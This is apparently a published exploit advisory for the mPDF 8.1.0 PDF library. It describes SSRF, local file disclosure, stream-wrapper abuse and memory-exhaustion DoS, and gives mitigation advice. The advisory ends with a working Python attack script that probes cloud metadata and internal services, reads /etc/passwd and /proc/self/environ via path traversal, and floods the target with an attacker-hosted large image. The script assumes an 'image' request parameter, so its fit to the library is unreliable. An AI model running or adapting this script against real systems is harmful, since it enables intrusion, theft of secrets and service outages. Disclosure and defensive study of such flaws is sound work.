mPDF 8.1.0 Server-Side Request Forgery / Local File Disclosure / mPDF 8.1.0 Server-Side Request Forgery / Local File Disclosure / DoS

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| # Title : mPDF v8.1.0 Multiple Vulnerabilities |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.1 (64 bits) |
| # Vendor : https://github.com/mpdf/mpdf |
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[+] References:

[+] Summary: mPDF v8.1.0 is vulnerable to multiple security issues related to unsafe handling of external resources, file paths, and image content during HTML-to-PDF rendering.
When untrusted or partially trusted HTML input is processed, attackers may exploit insufficient validation to trigger SSRF, local file disclosure, or denial of service conditions.
The library allows fetching of external resources (images, SVG, CSS) without strict protocol, IP range, or size restrictions.
Additionally, file access functions may be abused to read arbitrary local files when input validation is not enforced by the application.

[+] Technical Details :

1. Server-Side Request Forgery (SSRF)

mPDF fetches external resources referenced in HTML (e.g. <img src="">) without enforcing restrictions on:

localhost / 127.0.0.1

Internal IP ranges (10.0.0.0/8, 192.168.0.0/16, 169.254.0.0/16)

Cloud metadata endpoints

This allows attackers to force the server to issue internal network requests.

[+] Impact :Internal service enumeration, metadata leakage, sensitive data exposure.

2. Local File Inclusion / Arbitrary File Read

Improper validation of file paths may allow attackers to reference local files using traversal sequences or absolute paths.

Example payload:

../../../../etc/passwd

[+] Impact : Disclosure of sensitive system or application files.

3. Stream Wrapper Abuse

Partial wrapper validation exists, but alternative PHP stream wrappers may still be accessible depending on configuration, such as:

zip://

glob://

compress.zlib://

expect:// (where enabled)

[+] Impact: Bypass of security controls, unexpected file access behavior.

4. Denial of Service (Memory Exhaustion)

mPDF processes images using in-memory operations without enforcing:

Maximum file size

Maximum image dimensions

Attackers may supply:

Extremely large images

Image-based zip bombs (PNG)

[+] Impact : Memory exhaustion, application crash, request timeout.

5. Image Parsing Risks (GD / ImageMagick)

The library relies heavily on PHP image processing functions historically affected by:

Heap overflows

Integer overflows

Risk increases when running on outdated PHP or GD versions.

6. SVG External Resource Injection

SVG images may contain:

<image xlink:href>

<use>

External references

These can trigger SSRF or lead to XSS if the generated PDF is later rendered in a browser context.

7. Temporary File Race Condition

Temporary files created and deleted during PDF generation may be vulnerable to TOCTOU or symlink attacks in shared hosting environments.

8. Weak MIME Type Validation

File type detection relies on partial content inspection rather than strict header-based validation, allowing polyglot files in certain contexts.

[+] Impact :

Successful exploitation may allow an attacker to:

Access internal services (SSRF)

Read arbitrary local files (LFI)

Crash the application (DoS)

Chain vulnerabilities for deeper compromise

Remediation / Mitigation

Restrict allowed URL schemes (allowlist https:// only)

Block internal IP ranges and metadata endpoints

Disable unnecessary PHP stream wrappers

Enforce strict file size and image dimension limits

Sanitize and validate all user-supplied HTML

Disable or strictly sanitize SVG support

Use updated PHP and GD/ImageMagick versions

Avoid suppressing runtime errors

[+] POC : python poc.py

#!/usr/bin/env python3
import requests
import sys

def exploit_ssrf(target_url, internal_service):

payload = f"{target_url}?image={internal_service}"

headers = {
'User-Agent': 'Mozilla/5.0 (Security-Test)'
}

try:
response = requests.get(payload, headers=headers, timeout=30)

if response.status_code == 200:
print(f"[+] SSRF Success on: {internal_service}")
print(f"[+] Response ({len(response.content)} bytes):")
print(response.text[:500]) # Display first 500 characters
else:
print(f"[-] SSRF Failed: Status Code {response.status_code}")

except Exception as e:
print(f"[-] Error during SSRF: {e}")

def exploit_lfi(target_url, file_path):

payload = f"{target_url}?image=../../../../{file_path}"

try:
response = requests.get(payload, timeout=30)

if "root:" in response.text or "DOCTYPE" not in response.text:
print(f"[+] LFI Success! File read: {file_path}")
print(response.text[:1000])
else:
print(f"[-] LFI Failed: File not found or input filtered.")

except Exception as e:
print(f"[-] Error during LFI: {e}")

def dos_attack(target_url):

image_url = "http://attacker.com/large_image.jpg"

payload = f"{target_url}?image={image_url}"

print(f"[+] Starting DoS test on: {target_url}")

for i in range(10):
try:
requests.get(payload, timeout=5)
print(f" [-] Request {i+1} sent")
except requests.exceptions.Timeout:
print(f" [!] Server is likely unresponsive (Timeout)")
except Exception as e:
print(f" [!] Connection error: {e}")

if __name__ == "__main__":
if len(sys.argv) < 2:
print("Usage:")
print(" python3 exploit.py <target_url>")
print("\nExample:")
print(" python3 exploit.py http://victim.com/pdf-generator")
sys.exit(1)

target = sys.argv[1]

print("[*] Beginning Penetration Testing Script...")

print("\n[1] Testing for SSRF:")
internal_targets = [
"http://169.254.169.254/latest/meta-data/", # AWS/Cloud Metadata
"http://127.0.0.1:8080/", # Local Web Service
"http://localhost:9200/", # Elasticsearch
"http://192.168.1.1/" # Router/Internal Gateway
]

for service in internal_targets:
exploit_ssrf(target, service)

print("\n[2] Testing for LFI:")
sensitive_files = [
"etc/passwd",
"proc/self/environ",
"etc/hosts",
"windows/win.ini"
]

for file in sensitive_files:
exploit_lfi(target, file)

print("\n[3] DoS Testing (Optional - May cause downtime):")
answer = input("Do you want to proceed with the DoS test? (y/n): ")
if answer.lower() == 'y':
dos_attack(target)


Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
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